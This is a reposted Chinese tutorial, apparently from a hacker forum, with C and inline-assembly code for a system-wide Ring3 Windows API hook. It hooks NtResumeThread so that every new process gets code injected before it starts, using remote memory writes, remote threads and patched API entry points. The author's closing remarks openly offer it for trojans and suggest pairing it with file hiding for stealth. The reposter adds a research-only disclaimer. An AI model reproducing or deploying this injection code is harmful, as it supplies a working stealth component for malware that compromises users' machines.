API攔截—實現Ring3全域HOOK

來源:互聯網
上載者:User

魏滔序註:本轉載內容僅用來技術研究,請勿於損人害己之用。

      
首先來解釋一下這次的目標。由於windows的copy-on-write機制(Ring0下可以用CR0寄存器關掉它),Ring3下的HOOK只對
當前進程有效,其他進程的API還是正常的。這就是說我們必須枚舉進程,然後對每個Ring3進程執行一遍HOOK操作。但是,系統中總有新進程產生,對
於這些新進程我們怎麼處理呢?最容易想到的就是設定一個TIMER,每隔一段時間就枚舉一遍進程然後把新的掛鈎。但仔細一想就知道不行,TEMER過快嚴
重影響系統效率,慢了又起不到作用,況且windows不是一個即時作業系統,沒人能保證到時間TEMER就被啟用。如果我們能監控進程建立,並在他們真
正運行之前就執行掛鈎操作,就可以完美的解決問題。
但是如何做到這一點呢?我們知道Ring3的進程都有一個“父進程”也就是說新進程都是由老進
程建立的(驅動很少建立進程)。知道這一點就好辦了,我們要做的只是截獲進程建立。你肯定會說“這麼簡單,HOOK
NtCreateProcess就可以了!”但是這不是最簡單的做法。為什麼這麼說呢,首先在NtCreateProcess函數被調用時進程並沒有真正
被建立,我們無法執行HOOK操作,而當NtCreateProcess返回時,進程又已經開始運行,HOOK時存線上程同步的問題(我用OD在
NtCreateProcess設下INT3斷點,卻攔不到,不只是為什嗎?)。
所以我選的函數是NtResumeThread。我們知道,當新
進程被建立時,OS會為其建立一個住線程,而在這之後會調用NtResumeThread時期開始運行,這時初始化完畢,DLL都已經被載入,但進程卻沒
有開始運行這時我們最好的機會(HAHA,天助我也HAHAHA…)。

複製內容到剪貼簿

代碼:

NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
思路是這樣但是怎麼實現呢?來看一下函數的定義:
我們關心的是第
一個參數,它儲存的是新進程主線程的控制代碼,我們可以通過調用
ThreadInformationClass=0,ThreadInformationLength=28的
NtQueryInformationThread函數來獲得該縣城所屬進程的PID,然後只要HOOK它就可以了。
話雖如此,可是如果把
HOOK的代碼都放到遠程去未免太麻煩了。開始我想的是用遠程進程調用CreateRemoteThread來回調HOOK進程。但仔細想想就會發現,我
們在本地HOOK時有足夠的許可權,可是如果遠程進程是GUEST許可權的呢?回調時由於許可權不夠就會出錯。翻了翻《windows核心編程》後恍然大悟:可
以使用windows的事件對象來實現。用到的API有:OpenEvent,CreateEvent,SetEvent,ResetEvent。在
HOOK每一個進程的時候,用CreateEvent建立一個不可繼承、自動重設的Event對象,然後建立一個線程用
WaitForSingleObject函數等待改Event。當攔截到新進程建立時,遠程線程調用SetEvent來啟用Event,然後同樣調用
WaitForSingleObject函數等待。這時本地的WaitForSingleObject會返回,
然後再進行相關的處理,然後調用SetEvent來讓遠程hook函數繼續運行。這樣有個問題就是本題怎樣知道新進程PID?我的解決辦法是遠程調用
SetEvent前先把PID寫在HOOK函數開頭的特定位移位置,然後本地用ReadProcessMemory來讀取。限於篇幅講得不太具體,如果不
懂最好去看一看《windows核心編程》。
好了,理論就講道這裡,來看看代碼,GO!(雖然是在去年的5期文章的基礎上改的,不過改動較大,所以關鍵代碼已提上來了。)
首先是hook函數,主要功能是對指定進程的指定API進行hook操作

複製內容到剪貼簿

代碼:

int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE ObjectProcessHandle)
{
DWORD dw, NamedApiAddress,NewFunc;//變數初始化
MEMORY_BASIC_INFORMATION mbi;
static EventInfo myEventInfo;
static Num=0x676e696b;

NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目標api地址,每個進程的api地址都是一樣的,只要找本進程的就可以了。
if(NamedApiAddress == NULL)
{
printf("Error:GetProcAddress in hook_api");//錯誤處理
return 0;
}

if(!VirtualQueryEx(ObjectProcessHandle,(void*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//擷取目標api所在記憶體資訊
{
printf("Error:VirtualQueryEx in hook_api");
return 0;
}

if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw))//
分配寫和執行許可權,因為我們要對目標API開頭進行寫操作
{
printf("Error:VirtualProtectEx in hook_api");
return 0;
}
LPVOID WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配記憶體,寫入hook函數

//計算備份函數COPY的位置
NewFunc = NamedApiAddress - (DWORD)pDllInfo->modinfo.lpBaseOfDll + (DWORD)pDllInfo->lpNewBaseOfDll;
//修改原函數入口處內容
if(strcmp(ApiName,"NtResumeThread")==0)//如果是hook NtResumeThread函數要做一些處理
{
DWORD my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateEventA");
HANDLE EventFar;
__asm//這裡不用彙編vc總說類型不對,偷個懶^_^
{
pushad
push 00000000h
push Num
push 0x676e696b
push esp//構造Event名
push 0
push 0
push 0
call my_CreateEventA
mov EventFar,eax
add esp,12
popad
}
*
(PDWORD)((DWORD)FarStartUp+9)=
(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenEventA");//遠程
函數的API地址都是動態寫入的。這裡說一句,以前是寫入遠程後用WriteProcessMemory來改,後來想到這樣太慢(轉到Ring0要
1000個CPU時間的哦)於是改在本地完成,但我們對程式碼片段進行了寫操作,預設是不允許的,所以要用PE修改工具來給.text段加上可寫屬性
LPVOID
StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
//分配記憶體,寫入StartUp函數,因為我們用Event來解決,所以要在遠程開啟該Event對象
WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,500,0);//寫入函數
printf("%x/n",(DWORD)StartUpAddr);//調試資訊
HANDLEFarThread=CreateRemoteThread(ObjectProcessHandle,0,0, (PTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);//建立遠程線程
WaitForSingleObject(FarThread,-1);//等待遠程初始化完畢
CloseHandle(FarThread);
DWORD ReadBuf;
ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21),&ReadBuf,4,0);//讀出遠端Event控制代碼數值,後面寫入HOOK函數
VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);//釋放記憶體
*(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;//寫入控制代碼
myEventInfo.EventFar=EventFar;
myEventInfo.ObjectProcessHandle=ObjectProcessHandle;
myEventInfo.WriteAddress=(DWORD)WriteAddress;//線程參數
CreateThread(0,0,(unsigned long (__stdcall *)(void *))my_EventProcess_Thread,&myEventInfo,0,0);//建立本地等待線程
Num++;//每個進程用不同的Event,所以名稱不一樣
}
*(PDWORD)(HookProc+WRITEBASE)=NewFunc;
*(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"GetCurrentProcessId");
*(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"SetEvent");
*(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"WaitForSingleObject");
*(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQueryInformationThread");
*(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"ResetEvent");//初始化HOOK函數,寫入API地址

WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void *)HookProc,1000,0);//寫入HOOK函數
*(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress;
WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCode,7,0);//修改目標API首位元組,使其跳轉到我們的HOOK函數
printf("func:%x/n",WriteAddress);//調試資訊
return 1;
}

接下來是遠端初始化函數,用來開啟Event

複製內容到剪貼簿

代碼:

void FarStartUp(int Num){//Event名稱的後半段,我建立的Event名稱都是形如”kingXXXX”
int myOpenEvent=0x10020000;//API函數地址,動態寫入,這條代碼編譯後是類似於這樣的彙編碼:mov [ebp+XX],XXXX,修改時只要把XXXX換成API地址就可以了
__asm call GetMyAddr;//這個是用來取得本函數的地址用的,不知道的話可以上網查查
DWORD myEventHandle=0x00220000;//本地從這裡讀出控制代碼代碼,HOOK函數中的代碼類似
DWORD FuncAddr;
__asm
{
jmp run//正式運行時跳過
GetMyAddr:
pop eax
mov FuncAddr,eax
push eax
ret
run:
push 00000000
push Num
push 0x676e696b
push esp
push 0
push EVENT_ALL_ACCESS
call myOpenEvent//構造字串,並開啟控制代碼
mov myEventHandle,eax
}
*(PDWORD)(FuncAddr+3)=myEventHandle;//往開頭寫入
return;
}
這時上面說到過的等待線程,每HOOK一個進程就有一個對應的這個線程,這裡本來應該加一個記憶體回收機制,即當本線程對應的進程已經不存在了的時候,線程自我銷毀。不過還沒來得及寫^_^

複製內容到剪貼簿

代碼:

void __stdcall my_EventProcess_Thread(PVOID InEventInfo)
{
EventInfo myEventInfo;
PEventInfo Info=(PEventInfo)InEventInfo;
myEventInfo.EventFar=Info->EventFar;//儲存控制代碼和進程資訊
myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle;
myEventInfo.WriteAddress=Info->WriteAddress;//這個是HOOK函數控制代碼
while(true)//迴圈等待
{
WaitForSingleObject(myEventInfo.EventFar,-1);
DWORD ReadBuf=0;//當對應進程建立後WaitForSingleObject返回,執行到這裡
ReadProcessMemory(myEventInfo.ObjectProcessHandle,
(LPVOID)(myEventInfo.WriteAddress+67),&ReadBuf,4,0);//從遠程讀出新進程的PID,在
HOOK函數調用SetEvent之前會在遠程寫入。
HANDLE ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);//開啟目標進程
HookProcess(ObjectProcessHandle);//執行HOOK操作,本來應改檢查一下該進程是否已經被HOOK,還沒來得及寫
SetEvent(myEventInfo.EventFar);//恢複遠程Hook函數運行
ResetEvent(myEventInfo.EventFar);//本來是自動重設的Event,不過為了保險在重設一下
}
return;
}
下面是精華了哦,重點仔細看啊。

複製內容到剪貼簿

代碼:

DWORD __stdcall Hook_NtResumeThread(
HANDLE ThreadHandle,
PULONG PreviousSuspendCount OPTIONAL)
{

int OldNtResumeThread;//原NtQueryDirectoryFile函數
int EventHandle; //Event控制代碼,由FarStartUp函數開啟
int my_GetCurrentProcessId;
int my_SetEnent;
int my_WaitForSingleObject;
int my_NtQueryInformationThread;//存放個API的指的變數
int my_ResetEvent;
__asm
{
mov OldNtResumeThread,00112244h
mov EventHandle,00225588h
mov my_GetCurrentProcessId,22447799h
mov my_SetEnent,55662244h
mov my_WaitForSingleObject,55889966h
mov my_NtQueryInformationThread,77554411h
mov my_ResetEvent,55661188h//hook時寫入
pushad//保護堆棧
}
__asm call GetAddr;//同FarStartUp函數
int FarRead;
__asm mov FarRead,22550011h;
DWORD myAddr;
__asm
{
jmp start
GetAddr:
pop eax
mov myAddr,eax
push eax
ret
start:
}
DWORD myStatus;//儲存返回變數
BYTE SystemInfo[60];//存放NtQueryInformationThread返回資訊的緩衝
int infoaddr=(DWORD)&SystemInfo;//緩衝地址
int CurrentProcess;
__asm
{
push 0
push 28//這裡必須是28,則函數不執行,這個值是我從10到100瓊琚出來的,辛苦啊555。。。
push infoaddr
push 0
push ThreadHandle
call my_NtQueryInformationThread//調用NtQueryInformationThread獲得線程所屬進程的PID
mov myStatus,eax
}
DWORD id=*(DWORD *)(SystemInfo+8);
__asm
{
call my_GetCurrentProcessId//獲得本進程PID
mov CurrentProcess,eax
}
if(id==(DWORD)CurrentProcess)//如果是對當前進程操作就直接返回,免得傳回本地浪費時間降低效率
{
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread
mov myStatus,eax
popad//對應開頭的pushad,用來保護堆棧,下同
}
return myStatus;
}
if(myStatus==0)//如果NtQueryInformationThread執行不成功就直接返回,漏hook總比程式死掉好,嘿嘿
{
*(PDWORD)(myAddr+3)=id;//把目標PID寫道函數開頭
__asm
{
push EventHandle
call my_SetEnent//恢複本地對應線程運行
push -1
push EventHandle
call my_WaitForSingleObject//等待本地HOOK操作完成
push EventHandle
call my_ResetEvent
}
}
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread//調用原NtResumeThread函數,到這裡,新進程正式開始運行
mov myStatus,eax
popad//保護堆棧
}
return myStatus;//這個是用來擺平vc++編譯器的,沒實際意義^_^
}
小結:
最後來總結一下思路把,程式分為本地(HOOK程式)和遠程(被HOOK程式)。
最
近Ring0的木馬大行其道,不過Ring0的東西寫起來太費時搞不好就BSOD,光是弄DDK就花了我一個禮拜,555…所以我們的Ring3HOOK
還是很有市場的,快加到你的愛馬里吧,只要在開頭加一個枚舉進程,所有的Ring3進程就統統地被掛上了,再配合以前的隱藏檔案……嘿嘿

 http://www.hackerxfiles.net/viewthread.php?tid=14566

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.